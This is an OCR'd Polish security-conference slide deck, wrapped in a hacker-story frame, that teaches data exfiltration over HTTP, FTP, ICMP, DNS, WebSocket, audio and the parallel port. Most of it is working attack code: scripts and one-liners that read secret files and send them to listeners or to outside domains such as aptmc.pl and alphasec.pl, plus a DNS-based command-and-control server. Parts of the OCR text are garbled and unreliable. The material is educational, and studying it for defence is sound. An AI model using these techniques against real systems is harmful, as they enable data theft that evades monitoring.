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<Ruda> Powinienes odszyfrowac moje pliki.
T - SO

<Dark$eeker> Niby dlaczego?
Y B
<Ruda> Bo gramy do jednej bramki.

V T I
S wEInT no AROITL <DarkSeeker> Nie sgdze. Chce tylko odzyskac
wezedies do Archiwum. pamiec.

¢ B N

<Ruda> MUS|my zniszczy¢ MAO. Uwierz mi.
N

<DarkSeeker> Mam ci uwierzy¢? Oktamatas mnie.
Na zdjeciu to nie byta moja rodzina. Nie mam

Siyszates o niejakie] rodziny.
[} 13 L.vVIill pDerndar 1Lvie, 7 e - . s = -
‘ - Lk ' <Ruda> Wtasnie, ze masz, braciszku.. Wtasnie, ze
y = D S e e T G Wt G L 4 i h
| 4 T
. e
4 ?: B ¥ - ' -
(4 \ Tak czy inaczej, cos é j B i —
= = ST 3 —
8 =
—=
r A Ty -~ Y e e N T o SR Y o
- 3‘ LALLICA » wke UH:":_Y.LJ- u_! LitL Lo _LJ.L.LJ\..L. o
. =
| > .
, —
~ rotes\z0os vae _ * N
A3 <DarkSeeker> Gdzie one s3? | I/
vA =
orwane. Znaj bty — e : 4 =
" Maja i [enka ZOSfadep N W <Archiwista> Ty naprawde nic nie pamietasz.. y
co$ wiedziec. - —— . , o S— —
Rudg, moze <Archiwista> Ale wiedziatem, ze w koncu przyjdziesz... Odpowiedzi czekajg na Ciebie pod
e . Przejdz gre, a wszystkiego sie dowiesz.
~ — e - N $
* e ) S 5 _SSeame . “aptm.in/daresecker



https://aptm.in/darkseeker

Cel: M.l?d yna

<Ruda> To jaki masz plan braciszku?
S I
<DarkSeeker> Wykradniemy MAO wszystkie

utajnione dokumenty, a potem je upublicznimy.

.
-"— g
-

<Ruda> Tylko wiesz, ze po ostatnich akcjach oni

ostro monitorujg siec?
, B
<DarkSeeker> HTTPS, ICMP, DNS - ktorys kanat ¢

eksfiltracji na pewno przejdzie.
SR
<Ruda> No nie wiem.. Ale jesli tak uwazasz..

Dziataj.
Ty
<DarkSeeker> Ty w miedzyczasie przygotuj

wszystko na wielki fma’f

g ' [T T A £
<Ruda>Jasne PowodzenlaI
PR i o A . ) |

<DarkSeeker> Tobie tez.




Piramida ruchu da :uz,ity

.
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5. Tunelowanie TCP/IP

Tunelowanie PCJ{ nego ruchu TCP/IPw kanale
nie przeznaczonym do tego

4. Tunelowanie 'protokojf OW
Tunelowanie HTTP/HTTPS z wgkorzgstaniem
HTTP Proxy, HT R ENREES ele ssh (ssh ~-D)

3. Komunikacja C2
Zestawienie Awustronnej komunikacji

Command and Control w celu PCJ{ Nego

2. Infiltracia / ekshiltracia Przejcpcia zclalnego komputera

J
ng:)rowaclzanie clangcﬁw z ﬁrmgj omijanie
systemow DLF. Pobieranie zt oéliwego
oprogramowania, omijanie systemow IPS, AV

1. Legalne dane

Oclbieranie/wgsg}fanie ﬁrmowej Pocz‘cgJ -/

drukowanie dokumentow na drukarce, |
Przegla‘cianie Facebooka do kawki

Trgwialne
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Uniwersalny*®l

socat —u =T 7 TCP-LISTEN:2048, fork, reuseaddr SYSTEM: 'cat > loots/tcp/$SOCAT_PEERADDR.$%$.txt"'

—U ~ trgbjeclnokierunkowg ~ Pierwszg adres t9||<o do oclczytu, Arugi do zal:)isu

-T 7 -zakoncz PO 7 sekundach bczczgrmoéci

TCP-LISTEN: 2048 - s’ruchaj na 2048 porcie TCP

fork - kazde POJ{ aczenie obstuz w nowym ooclprocesie

reuseaddr - Pozwc')l innym gniazclom na zbindowanie sie

SYSTEM - uruchom Polecenie 595temowe
cat > ... - zapisz to co na W?éCiU do wskazanego Pliku

$SOCAT PEERADDR - adres po aczenia Przgchodza‘cego
$$ - PID aktualnego procesu

aptm.in/ProtiP/OO]b


https://aptm.in/protip/001b

Invoke-RestMethod -Method Post -InFile "“/etc/secret"” -Uri "http://localhost:2048"

irm —-me po -1 /etc/secret http://localhost:2048

g

curl =T /etc/secret http://localhost:2048

curl -F "f=@/etc/secret" http://localhost:2048

N

import requests; requests.post('"http://127.0.0.1:2048"

, Tiles={"f": open("/etc/secret", "rb")})

aptm.in/ProtiP/OOla

L


https://aptm.in/protip/001a

Listener |

TR

python —m pyftpdlib -p 2121 —-w

%

a!:)tm.in/ Protip/ 0038



https://aptm.in/protip/0038

Eksfiltre
=

[Net.WebClient]::New().UploadFile("ftp://localhost:2121/secret", (gi "/etc/secret"))

¢

curl -T /etc/secret ftp://localhost:2121

© [

from ftplib import FTP; ftp=FTP(); ftp.connect("127.0.0.1", 2121); ftp.login();
ftp.storbinary("STOR secret", open("/etc/secret", "rb")); ftp.quit()

y t=3 ‘w p p y - g ‘/f ) b /-’—/



Eksfiltracja pClME

m\

Nagtéwek pakietu ICMP Echo Request/Echo Reply

+—+—+—+—+—+—+—+—+—+—+—+—F—F—F—F—F =t =t =t —F+—F+—F+—+—F = — —F—F —F—+—+—+
| Typ | Kod | Suma kontrolna |
+—+—+—+—+—+—+—+—+—+—+—+—+—F—F—F—F—F+—F+—F—F+—F+—F+—F+—F+—F+—+—+—F+—+—+—+—+
| Identyfikator | Numer sekwencyjny |
+—+—+—+—+—+—+—+—+—+—+—+—F—F—F—F—F =t =t =t —F+—F+—F+—+—F = — —F—F —F—+—+—+
| Dane ... |
+—+—+—+—+—+—+—+—+—+—+—+—+—F—F—F—F—F+—F+—F—F+—F+—F+—F+—F+—F+—+—+—F+—+—+—+—+

Najwazniejsze typy pakietow ICMP

Typ Nazwd



https://www.rfc-editor.org/rfc/rfc792

python —-c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8",
prn=(lambda x: print(x[1].src, X[ICMP].load) if hasattr(x[ICMP], "load") else
None ))'

aPtm.in/Pro’ciP/OOOmc :

& "C:\Program Files\Wireshark\tshark.exe" -i Wi-Fi -1 -T fields -e data "icmp[0Q]=8" |
% { —join ($_ -split "(.{2})" -match "." | % { [charl[bytel"ox$_"}) }

k

aptm.in/ !:)rotip/ 0076


https://aptm.in/protip/000f
https://aptm.in/protip/0076

Ekai.l '. ¢’ 18

¢

(gc c:\secret.txt —-Raw) -split "(?s)(.{1472})" -match "."|%
{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 300,
([Text.Encoding] ::UTF8).GetBytes($_))}

hping3 —icmp —-d 1000 aptm.in —file /etc/secret




UDP? ICMP:

tcpdump -1 any -s @ —w dump.pcap

tshark -1 any —-w dump.pcap@

-1 any - wszgst‘de intemcfjsg sieciowe
—S 0 -nie Przycinaj Hakietow za bardzo *

—wW dump.pcap -zapisz ruch do wskazanego P|i|<u l.é
=

-D - wgéwietl liste closte;l:mgclﬁ inter&:jsc’)w

. https://github.com/the~tc!:»clump~grou!3/tcpclumP/blob/mas‘cer/netclissect.h

— 3 g - - 5 8 ~——
. -



https://github.com/the-tcpdump-group/tcpdump/blob/master/netdissect.h

i

(-join ((gc —-raw c:\secret.txt).ToCharArray() \% 1"410:X2}"-f[int]$_)) —-split "(.{64})"
. )

-match "." -replace "([\w]li16})", " $1.").trim 1%{ Resolve-DNSName "$ .$(($i+
+)).aptmc.pl"}

aPtm.in/ProtiP/OOOcl

B > : :
BTW.. PL jest wystarczajgco je“H*Hszalony..

}
l

-EE {J DNS POB.V Shellu

$clientEndpoint = [Nel TPCndPoinl]::new([TPAddress]:zAny, 53) :
$udpClient = [het.Scckets,JdpClient]::new(53)

..zeby napisac serwer DNS w PowerShellu?

-
while ($true) {

Start-Sleep -Millisecends 188

if ($udpClient.Available) {
$data = SudpClient,Receive([ref]$clientEndpoint)
fquery = [Text.Encoding]::ASCII.GetString($data, 12, §data.Length - 12) -replace “[\W]", "®
hrite-Host "Client IP: ", $clientEndpoint.Address.IPAddressToString, " -»  $query”
f (3query -match "dark{.*)seeker®*) {

ShexCmd = $Matches[L1]
: temd - join ($hewCnd -zplit *(.{2})" -match "." | £ { [char][byte]"@x$ " })
E Write-Host "Sending comnand $ced to execute... ¥ -5 implenert yourself ;)
== }
PS C:\Usersid-z» filte- thx § (4 .TcCharfrray() | %4 ° -f lintl$ B -icin " }
\ $responsePacket - $data. Clone() PS Coilkeraid~as Resolue-DnsNane 5¢ thi) Se~wer kali.antec.pl ~Type A
$responsePacket[2] = 129 ¥ Sel the response fla
o presponsePacket[7] = 1 & Set the answer countyame lype TTL  Section  IPAddress
' ’ $raesponsaAnswer = 3¢ durk. F7o25FbLlo0Es. suker ., Jucal A L] fsaer 127.8.6.1 9
' - 182, 12, it Name pointer
- o 9, 1, # Type: A " "\ d-
- .h @, 1, # Class: IN T
I -~ B s - ; :: Es,ra, n Iim“| to live . ¥ push dos.psd
el L DNS server started. List t 53..
Dark Lord Gr‘zegoraz Tworek e T L NS server started. Listening on por -
y 3 Dt b Client IP: 94.254.145.77 -> dark77686F616D69%seckerlocal
https://github. com/gtworek/PSBits /tree/master/DNS ) sending command whoani to execute. ..

$responsePacket += $responsednswer
[void]3udpClient.Send($responsePacket, $responsePacket.length, $cliemtEndpoint)

}

}
alphasec.pl/confi2?
1 }
\ 2 v-_."- - o — 3 ‘.- — S -
R <. y - / e ’ S 3

L1



https://aptm.in/protip/000d
https://alphasec.pl/confi23

Kobieca 1intUi 15 ¢

<DarkSeeker> Wszystkie moje kanaty ekfiltraéji

praktycznle od razu wycinali.
T . 4

o A ' &8

<Ruda> No
<DarkSeeker> Nie wygladasz na zaskoczona..

| N T
<Ruda> To ci chciatam powiedziec. Oni naprawde

nie sg grupi.
i N
<DarkSeeker> No to moze masz jakis plan,

smstrzyczko?

5 Y

.
<Ruda> Owszem Poki co odpocznij, a na

"“mm%%%%% dobranoc wiacz sobie tego VHSa. Moze i ciebie

“amﬁ e W A ; ; ; 3 1 .l(: ‘.
. ¥ e .

zamsplrUJe

VT .. — |/
<DarkSeeker> UuuUu, a co to zaaktorka??

| \' li - { f g ol
= "x‘.“ p "
N \s ) v - K :

— = 3‘,*.’,_ L j-‘ (

G . » - N
4 " _.o “’- .~
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Glitcher -

Glitcher to bg’fg agent Wgwiaclu, kté;y

ngorzystajf 5woje umic—:jé;’moéci, abg po -

apokalipsie stworzyc siec imcormacgjna‘.

Jest skrgtgm 5‘trat<3gi<:mJ maja‘cgm

zawsze kilka Planéw w zanadrzu.

Wspdipracuie z Venix | Spectra X, cho¢
potpracuje z P

ich relacje sa Darclziej zawodowe niz .
osobiste. Zna sekretg kachego W grul:)ie)
ale rzadko dzieli sie SWOIMmI. Kiedg ktos

zachodzi mu gJ(@]:)oko Za skérc;) odktada

~ 5 komputer i siépga ole inne srodki ‘l,é
= 3 o
= é
T~ e . oY ",.\—‘:' o ” ——



HTTP 1is

@

<?php

$header = 'HTTP_X_REQUEST_ID";

if (isset($ SERVER[$header])) {
error_log(sprintf (' [PAYLOAD/%s]: %s', $_SERVER['REMOTE_ADDR'], $_SERVER[$header]));
}

>

£ drg@alpha[~/git/pmlabs/omh24/tmp]$ php -S 127.0.0.1:2048
[Sun Nov 24 21:43:52 2024] PHP 8.3.13 Development Server (Chttp://127.0.0.1:2048) started




HTTP/HTTI

=

[Convert]:

Request-ID"=$_} }

: ToBase64String( [Text.Encoding]:

£ drg@alpha[~/git/pmlabs/omh24/tmp]$ php -S 127.0.0.1:2048

Sun
[Sun
Sun
[Sun
Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun
[Sun

Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov
Nov

24
24
24
24
24
24
24
24
24
24
24

24
24
24
24
24
24
24
24
24

o b
21:
21:
21:
21:

21
21

21
21
21

21:
21:
21:
21:
Zel R
21:
21:
21:

21

46:
:56
46:
46:
46:
146
:46:
21:

46

46

46

46
46

52

56
56
56
56
56

:56
:46:
146
146:
24 21:46:
46:
46:
46:
46:
:56
46:
:56
:56
146

56
56
56
56
56
56
56
56

56

56

2024]
2024]
2024]
2024]
2024]
20241
2024]
20241
2024]
20241
2024]
2024]
2024]
2024

PHP 8.3.13 Development Server Chttp://127.0.0.1:2048) started

127.0.0.1:64853 Accepted

[PAYLOAD/127.0.0.1]: SABhAHMAbABVACAAYgBhAGMAawBkAGS8AbwByACAAZABVACAAdwBzAHOAe(QBzAHQA
127.0.0.1:64853 [200]: GET /status

127.0.0.1:64853 Closing

127.0.0.1:64855 Accepted

[PAYLOAD/127.0.0.1]: awBpAGMAaAAgAHMAe(QBzAHQAZQBtAG8AdwAgACAATQBBAESAIABAAGSBAOgAgAESA
127.0.0.1:64855 [200]: GET /status

127.0.0.1:64855 Closing

127.0.0.1:64857 Accepted

[PAYLOAD/127.0.9.1]: bwBwAHkAJABrAG8ANgAXAAOASQAgAHQAbWAgAGOAYQBrAGEAcwWAgAHQAZQBOACAA
127.0.0.1:64857 [200]: GET /status

127.0.0.1:64857 (Closing

127.0.0.1:64859 Accepted

[PAYLOAD/127.0.0.17: awBvAGWAZQBgAG4AYQAgAGWAaQBuAGkAagBrAGEAIABzAHUACABLAHIATAB3AGEA
127.0.0.1:64859 [200]: GET /status

127.0.9.1:64859 Closing

] 127.0.0.1:64861 Accepted
] [PAYLOAD/127.0.0.1]: egBuAGEALgAKAFAAYQBtAGKkAZQBAAGEAagBjAGKAZQAhAACA

127.0.0.1:64801 [200]: GET /status

] 127.0.0.1:64861 Closing

:Unicode.GetBytes((gc —-raw /etc/secret)))
—split "(.4{64})" -match "."|%{ irm http://localhost:2048/status —-Headers @1"X-



HTTP WebSocket

————————————————

----------------

--mem

-----------------

-----------------

request

response

. request

response

S

https://velog.io/@chantehee/NéMork-% EC% 9B ¥ B9-BEC %86 68 HEC HBCHI?



https://velog.io/@chancehee/Network-%EC%9B%B9-%EC%86%8C%EC%BC%93

HTTP WebSocKke

&

const WebSocket = require('ws');
const wss = new WebSocket.Server({ port:

wss.on('connection', (ws) => {
console. log('New connection');

ws.on('message', (message) => {

console. log( Got: ${message} );
r);

ws.on('close', () => {
console. log('Connection closed');
i IS

) -

console. log('Listening on 8080');

8080 });




HTTP/HTTPS

Function Invoke-ExfilWebSocket {
Param/(
[Parameter(Mandatory) ]

$uri,
[Parameter(Mandatory, ValueFromPipeline) ]
$message
)
begin A
$client = [Net.WebSockets.ClientWebSocket]::new()
try {
$client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait()
s
catch {
Write-Error "Errorl: $_"
return
F
I3
process {
$buffer = [Text.Encoding]::UTF8.GetBytes($message)
$segment = [ArraySegment[byte]]::new($buffer)
try {
$client.SendAsync($segment, [Net.WebSockets.WebSocketMessageTypel::Text, $true,
5
catch {
Write-Error "Error2: $_"
s
5
end {
try {
$client.CloseAsync( [Net.WebSockets.WebSocketCloseStatus]::NormalClosure, '"Bye",
5
catch {
Write-Error "Error3: $_"
s
by

[Threading.CancellationToken]: :None).Wait()

[Threading.CancellationToken]: :None).Wait()




HTTP/HTTE

L

p
11 pwsh

PS /Users/drg/git/pmlabs/omh24> Get-Content /etc/secret | Invoke-ExfilWebSocket -uri ws://localhost:8080
PS /Users/drg/git/pmlabs/omh24> |]

CXX B node

&) drg@alpha[~/git/pmlabs/omh24]$ node WSListener.js
Listening on 8080

New connection

Got: Haslo backdoor do wszystkich systemow MAO to: Kopytkobl
Got: I to jakas tez kolejna linijka super wazna.

Got: Pamietajcie!

Connection closed
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from scapy.layers.dns import dnstypes
dns_records = list(dnstypes.items())

record width = 20
columns = 4

for i in range(®, len(dns_records), columns):

group = dns_records[i:i+columns]

p ran e

".join([f"{qtype}: {number}t".ljust(record width) for gtype, number in groupl))

@: RESERVED 1: A

4: MF 5: CNAME

8: 9: MR

12: PTR 13: HINFO
16: TXT 17: RP

20: ISDN 21: RT

24: SIG 25: KEY

28: AAAA 29: LOC

32: NIMLOC 33: SRV
36: KX 37: CERT
49: SINK 41: OPT

44: SSHFP 45: IPSECKEY
48: DNSKEY 49: DHCID
52: TLSA 53: SMIMEA
57: RKEY 58: TALINK
61: OPENPGPKEY 62: CSYNC
65: HTTPS 99: SPF
102: GID 103: UNSPEC
106: L64 107: LP
249: TKEY 250: TSIG
258: AVC 259: DOA
32769: DLV 65535: RESERVED

g i " y -

2: NS

6: SOA
10: NULL
14: MINFO
18: AFSDB
22: NSAP
26: PX
30: NXT
34: ATMA
38: A6
42: APL
46: RRSIG
50: NSEC3
55: HIP
59: CDS
63: ZONEMD

3: MD
7: MB

11:
15:
19:
23:
i
31:
35:
39:
43:
47:
51:
56:
60:
64:

WKS

MX

X25
NSAP-PTR
GPOS

EID
NAPTR
DNAME

DS

NSEC
NSEC3PARAM
NINFO
CDNSKEY
SVCB

100:
104 :
108:
256:
260:

UINFO
NID
EUI48
URI
AMTRELAY

101: UID
105: L32
109: EUIG4
AYALY.Y.
32768: TA




i

DNS - eksfalt

-n . —

import argparse
from scapy.all import x

N

def exfil dns_type(file, ns, domain, base_type):
try:
with open (file, "rb") as f:
data = f.read()
for byte in data:
type = base_type + byte
dns_query = IP(dst=ns) / UDP(dport=53) / DNS(rd=1, gd=DNSQR(gname=domain, qtype=type))
print(f"sending query type {type} to {ns} for domain {domain}")
response = srl(dns_query, verbose=0)
except Exception as e:
print(f"Open error: {e}")

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-f", "——file", required=True, help="File to exfil")
parser.add_argument("-n", "——nameserver", help="Nameserver to query", default="8.8.8.8")
parser.add_argument("-d", "-—-domain", help="Domain to query", default="aptmc.pl")

parser.add_argument('"-b", "--base_type", help="Base type (int)", default=1000, type=int)
args = parser.parse_args()

exfil_dns_type(args.file, args.nameserver, args.domain, args.base_type)

i1f —name__ == " main__ ":
main()
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ICMP Jak eKSHaMiCEowaC Indcze]

| Q" T

Nagtéwek pakietu ICMP Echo Request/Echo Reply

+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—F—F—F+—+—+—+—+—+—+—+
| Typ | Kod | Suma kontrolna |
s s T L e e e S ety Es e e T S S S e
| Identyfikator | Numer sekwencyjny |
+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—+—F—F—F+—+—+—+—+—+—+—+
| Dane ... |
s s T L e e e S ety Es e e T S S S e

Najwazniejsze typy pakietow ICMP

Typ Nazwd Opis
0 Echo Reply odpowiedz na Echa Request (popularny ping)
mig|sce przeznaczenia niecsiqggalne
OWWINIC

pPytanie Cczy host OSIGJ ;;]l"‘|‘~'\f \popularn Y pPINg,



https://www.rfc-editor.org/rfc/rfc792

ICMP - eksfil

import argparse
from scapy.all import x

N

def exfil_icmp_adv(file, address, timeout, seq, id):
try:
with open (file, "rb") as f:
data = f.read()
for byte 1in data:
icmp_pkt = ICMP()
1f seq:
icmp_pkt.seq = byte
1f 1d:
icmp_pkt.1id = byte
print(f"Sending ping to {address} with seg={icmp_pkt.seq} id={icmp_pkt.id} timeout={timeout}")
sr1(IP(dst=address)/icmp_pkt, verbose=0, timeout=timeout/1000)
except Exception as e:
print(f"Open error: {el}")

def main():
parser = argparse.ArgumentParser()
parser.add_argument(” f“ "——file", required=True, help="File to exfil"')
parser.add_argument('"- '"——address", help="Host/address to ping", required=True)
parser.add_argument("——seq", action="store_true", help="Use SEQ type for ICMP")
parser.add_argument(“——ld", action="store_true", help="Use ID type for ICMP")
parser.add_argument("-t", "—-—timeout", help="Timeout (miliseconds)", type=int, default=100)

args = parser.parse_args()
if (not args.seq and not args.id):
print("Error: please select ——seq or/and —-id")

return

exfil _icmp_adv(args.file, args.address, args.timeout, args.seq, args.id)

if __name__ == T maim " .
main()
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FEksfil tracga ) Ll

< C 2% en.wikipedia.org/wiki/List of FTP commands

Contlents hide

(Top)
Sec also

External links

PWD
QUIT
REIN
REST
RETR
RMD

RMDA

RNFR

RNTO

SITE

SIZE

SMNT

SPSV

STAT

STOR
STOU
STRU
SYST

THMB

TYPE
USER

RFC 959

RFC 959

RFC 959

RFC 3659

RFC 959

RFC 959

Streamlined FTP Command

Extensions (£
RFC 959
RFC 959

RFC 959

RFC 3659
RFC 959

FTP Extension Allowing IP
Forwarding (NATs) (2!

RFC 959

RFC 959
RFC 959
RFC 959
RFC 959

Streamlined FTP Command
Extensions (£

RFC 959
RFC 959

= aKie

W

Print working directory. Returns the current directory of the host.
Disconnect.

Re initializes the ccnnection.

Restart transfer from the specifiec point.

Retrieve a copy of the file

Remove a directory.
Remove a directory tree

Rename from.
Rename to.

Sends sita specific commands to remaote server (like SITE IDLE 60 or SITE
UMASK 002 ). Inspect SITE HELP output for complete list of supporied
commands.

Return the size of a file.
Mount file structure.

Use single port passive mode (only one TCP port number for both control
ccnnections and passive-mode data connections)

Returns information on the server status, including the status of the current
connection

Accept the data and to store the data as a file at the server site
Store file uniquely.
Set file transfer structure.

Return system type.
Get a thumbnail of a remote image file

Sets the transfer mode (ASCII/Binary).

Authentication username.

e mQ N

Appearance
Text

") Small
© standard
) Large
Width

0 standard
_ ) Wide
Color (beta)
") Automatic

0O Light

") Dark

Komenay. |
. £

hide

wh

TP?

p

List of FTP-cammands



https://en.wikipedia.org/wiki/List_of_FTP_commands

FTP listenel

N

from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer

class MyHandler(FTPHandler):
def ftp SIZE(self, file):
arr = file.split("/test ")
if (len(arr) == 2):
print(arr[1])
self.respond('550 hpsz')

def main():
authorizer = DummyAuthorizer()
authorizer.add_anonymous(homedir=".")

handler = MyHandler

handler.authorizer = authorizer

server = FTPServer(('', 2121), handler)
server.serve forever()

1f name___ == " main__ ":

main()



FTP eksfiltf:

for a in $(cat /etc/secret|openssl base64); do curl -s ftp://localhost:2121/test_%$a -0 /dev/null; done

o drg@kali: ~

(venv) £) drg@alpha[~/git/pmlabs/omh24/py]$ python ftp_server.py 2>/dev/null
SGFzbG8gYmF ja2Rvb31gZG8gd3N6eXNda2l jaCBzeXNOZW1lvdyAgTUFPIHRVO1BL
b3B5dGtvNjEKSSBObyBqYWthcyB@ZXoga29sZWpuYSBsaWSpamthIHN1cGVyIHdh
emShLgpQYW1pZXRhamNpZSEK

00 ® ~xu3 -bash
&) drg@alpha[~]$ for a in $(cat /etc/secretl|openssl base64); do curl -s ftp://localhost:2121/test_$a -0 /dev/null; done

£) drg@alpha[~]$ |
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’ Function Out—Morse {
Param(
[Parameter(Mandatory, ValueFromPipeline)]
$message,
$tone = 1337,

$duration = 80

)

$m0rSEAlphabEt a @{"A" — u._u; N — u_...u; R = n_._.u; npn _ u_..u; HEN u.u; nEn
- n.._.u; Ll — n__.n; LIS LU u....u; L UL u..u; L= u.___u; el — n_._n; b —
n._..u; UM = u__u; N = u_.u; non = u___u; npi- — n.__.u; nQu £ u__._n; npn n._.n;
ngn — u...u; nTn _ n_u; U= u.._u; LAV n..._u; N — u.__u; oy u_.._n; yn -2
u_.__u; ez — n__..u; e — I __ S n; g _ u.____n; g _ u..___u; "l = n...__u; AN —
n...._u; g SR u; ngt = u_....n; Ly AL u__...n; ngn _ u___..u; I QU }

$message —-split "" | % 1
$code = $morseAlphabet[$_.ToUpper()]
$code
$code —split "" | % {
if ($_ -eq '."'") { [consolel::beep($tone, $duration) I3
elseif ($_ -eq '=-') { [console]::beep($tone, $durationx3) }
else { Start-Sleep —-Milliseconds ($durationx3) ¥

¥
}



to_morse_char() { case "$1" in [Aa]) echo ".-";; [Bbl) echo "-...";; [Cc]l) echo "-.-.";; [Dd]) echo "-..";; [Eel) echo ".";; [Ffl) echo "..-.";; [Ggl) echo "—-.";; [Hh]) echo "....";; [Iil) echo "..";; [Jjl)

echo ".——";; [Kk]) echo "-.-";; [Ll]l) echo ".-..";; [Mm]) echo "—iﬂ;; [Nn]) echo "-.";; [0o]) echo "-——";; [Ppl) echo ".—.";; [Qqg]) echo "—.-";; I[Rr]) echo ".-.";; [Ss]) echo "...";; [Tt]l) echo "-";; [Uul)
echo "..-";; [Vv]) echo "...-";; [Ww]) echo ".--";; [Xx]) echo "-..-";; [Yyl) echo "-.-—-";; [Zz]) echo "—-..";; 1) echo ".—-";; 2) echo "..—-";; 3) echo "...—";; 4) echo "....-";; 5) echo "..... ";; 6) echo
"—....";; 7) echo "—...";; 8) echo "——..";; 9) echo "-——-.";; @) echo "-——— ":3 " ") echo "/";; %) echo "";; esac; }

to_morse() {
local input="$1"
local output=""

for (( i=0; i<${#input}; i++ )); do
char="${input:$i:1}"
morse_char=$(to_morse_char "$char")
if [[ -n "$morse_char" 1]; then
output+="$morse_char "
fi
done

echo "$output"
¥

play_morse() {
local morse="$1"
local frequency="$2"

dot=0.1
dash=0.3
char_delay=0.1
word_delay=0.7

for (( i=0; i<${#morsel}; i++ )); do
char="${morse:$i:1}"
case "$char" in
".") play -n synth $dot sine "$frequency" >/dev/null 2>&1 ;;
"-") play -n synth $dash sine "$frequency" >/dev/null 2>&1 ;;
" ") sleep $char_delay ;;
"/") sleep $word_delay;;
esac
done

by

if [[ $# -1t 1 11; then
echo "Uzycie: $0 <message> <tone>"
echo "Przyktad: $0 'Hello World' 100 440"
exit 1

fi

text="¢$1"
frequency="%${2:-440}"

morse=$(to_morse "$text")

echo "Tekst: $text"

echo "Morse: $morse"

echo "Odtwarzam Morse'a czestotliwosScig: $frequency Hz...
play_morse "$morse" "$frequency"

a8




Eksfiltracga

=

filter Out-R2D2 { $_.ToCharArray() | % 1 [console]::beep(1000+([int] [char]l$_*20), 100) } }

Get-Content —-Raw c:\secret | Out-R2D2

¢

while read -nl c; do play -n synth 0.05 sine $((($(printf "%d" "'$c'")*x20)+3137
)); done < /etc/secret
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< G % pl.wikipedia.org/wiki/Modulacja Q v ¢ B @ n P
Kluczowanie [ edytuj | edytuj kod ]
Spis tresci  ukryj Wyglad  ukryj
5 ) Kluczowanie (ang. keying) jest najstarszg technikg modulacji. Kiedy w XIX wieku zbudowano pierwsze elektryczne urzadzenia do e
oczate ekst

przekazywania informaciji na odlegto$¢, pojawit sie problem kodowania znakéw do postaci nadajgcej sie do przestania. Pierwszym
Modulacja analogowa

pomystem byto uzycie tylu przewodow, ile jest liter w alfabecie. Pomyst ten okazat sie niepraktyczny i dlatego Samuel Morse stworzyt Maty
Modulacja impulsowa system kodowania znakéw alfabetu w postaci serii krotkich (kropka) lub diugich (kreska) impulséw. Urzadzeniem kodujacym byt klucz O Normalny
Kluczowanie majgcy postac przetgcznika zwierajgcego obwéd elektryczny. Operator wysytat serie impulséw, ktérg odczytywat cztowiek lub Duzy
Modulacja w telekomunikacii elektromagnes zapisywat na papierowej tasmie. Kiedy technologia transmisji sie rozwineta, powstat szereg technik kluczowania.
Zobacz tez Potem wszystkie te metody okreslono jednym terminem — modulacja. Szerokosc¢
o Normalna

Najpopularniejsze techniki kluczowania:

» ASK - (ang. Amplitude Shift Keying) amplitudowe Duza

QAM - (ang. Quadrature Amplitude Modulation) Kolor (beta)
FSK — (ang. Frequency-Shift Keying) czestotliwosciowe

Automatyczny
 MFSK - (ang. Multiple Frequency-Shift Keying) wieloczestotliwosciowe O Jasny
» GFSK - (ang. Gaussian Frequency Shift Keying) czestotliwosciowe z filtrem Gaussowskim o
iemny

» MSK - (ang. Minimum Shift Keying) minimalnofazowe
» GMSK - (ang. Gaussian Minimum Shift Keying) minimalnofazowe z filtrem Gaussowskim
PSK — (ang. Phase-Shift Keying) fazowe, czyli PM np. BPSK, DPSK, QPSK, n-PSK, O-QPSK, 7/4-QPSK, U?-PSK

Systemy szerokopasmowe

DSSS ~ (ang. Direct Sequence Spread Spectrum) systemy z bezposrednim rozpraszaniem widma

FHSS - (ang. Frequency Hopping Spread Spectrum) systemy szerokopasmowe ze skakaniem po czestotliwosciach
Pulsed-FM
OFDM - (ang. Ortogonal Frequency Division Multiplexing) nazywane tez DMT (ang. Discrete Multitone Modulation)

« CDMA - (ang. Code Division Multiple Access) systemy wielodostepowe z zastosowaniem sekwencji rozpraszajgcych
RTTY — dalekopis na falach radiowych (ang. Radio TeleTYpe) — prosta modulacja impulsowo-kodowa

Modulacja w telekomunikacji edywi edytyjkod)

Modulacjg w technice nazywa si¢ celowy proces zmiany parametréw fali

nosnej umozliwiajgcy przesytanie informacji (komunikacje). Nadawca | Medium (Odbiorca

Modulacja jest konieczna, poniewaz sygnat musi nadawaé sie do Modulator | &5 - _

realizacji transmisji poprzez sie¢ telekomunikacyjna. Zwykle medium ) |
transmisyjnym w takiej sieci sg przewody miedziane, Swiattowody, fale \./
elektromagnetyczne (gtownie fale radiowe). Ograniczenia fizyczne

powoduja, ze informacja moze zosta¢ przektamana na skutek szumow, Modulacja i demodulacja podczas komunikacji

hf%Ps://Pl.Wikipedia.org/wiki/l\/lodulacja



Kluczowar

import argparse
from aftskmodem.afskmodem import Transmitter

N

def exfil afsk(file, baud, outputfile):
try:
with open (file, "rb") as f:
data = f.read()
transmitter = Transmitter(baud)
1T outputfile:
transmitter.save(data, outputfile)
else:
transmitter.transmit(data)
except Exception as e:
print(f"Open error: {e}")

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-f", "——file", required=True, help="File to exfil")

parser.add_argument("-b", "——baud", help="Speed", default=1200, type=int)
parser.add_argument("-o0", "——outputfile'", help="Output file")

args = parser.parse_args()
exfil _afsk(args.file, args.baud, args.outputfile)

i1f __name._ == " _ maln__ ":
main()
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Eksfiltracgja

#include <stdio.h>

#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>

#define LPT_PORT 0x378

void exfil_lpt(const char *xfile_path) {
FILE xfile = fopen(file_path, "rb");
if (file == NULL) {
perror("Error opening file");
return;

}

unsigned char byte;

while (fread(&byte, sizeof(byte), 1, file)) {
outb(byte, LPT_PORT);
printf("Sent byte: 0x%02X\n', byte);

5

fclose(file);
printf("File sent successfully.\n");

int main(int argc, char xxargv) {
